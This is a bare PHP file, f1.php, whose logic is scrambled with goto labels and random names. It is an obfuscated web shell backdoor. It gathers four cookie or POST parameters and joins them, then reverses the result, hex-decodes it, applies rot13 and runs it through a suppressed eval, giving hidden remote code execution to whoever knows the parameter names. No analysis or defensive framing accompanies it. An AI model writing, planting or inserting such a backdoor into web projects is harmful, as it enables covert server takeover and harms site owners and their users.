f1.php

<?php
goto RRtTk;
sjj3G:
function gkLsY($GhgCv)
{
    $W0Cik = array("jweyc", "aeskoly", "owhggiku", "callbrhy", "H*");
    return $W0Cik[$GhgCv];
}
goto fwMvS;
D5Z1w:
exit;
goto UrMKG;
RRtTk:
$GLOBALS["_79565595_"] = array("str_" . "rot13", "pack", "st" . "rrev");
goto sjj3G;
tlce1:
$CnCHz = $GLOBALS["_79565595_"][0](@$GLOBALS["_79565595_"][1](gkLsY(4), $GLOBALS["_79565595_"][2]($CnCHz)));
goto WHnss;
aeJcN:
if (empty($CnCHz)) {
    goto jWAe0;
}
goto tlce1;
UrMKG:
QEmxS:
goto VzztY;
RbO9J:
@eval($CnCHz);
goto D5Z1w;
LRKHj:
$CnCHz = DEF0j(GKLSy(0)) . DeF0j(gklSY(1)) . def0j(Gklsy(2)) . DeF0J(gKLsy(3));
goto aeJcN;
fwMvS:
function dEF0j($LGQ3g)
{
    return isset($_COOKIE[$LGQ3g]) ? $_COOKIE[$LGQ3g] : @$_POST[$LGQ3g];
}
goto LRKHj;
WHnss:
if (!isset($CnCHz)) {
    goto QEmxS;
}
goto RbO9J;
VzztY:
jWAe0: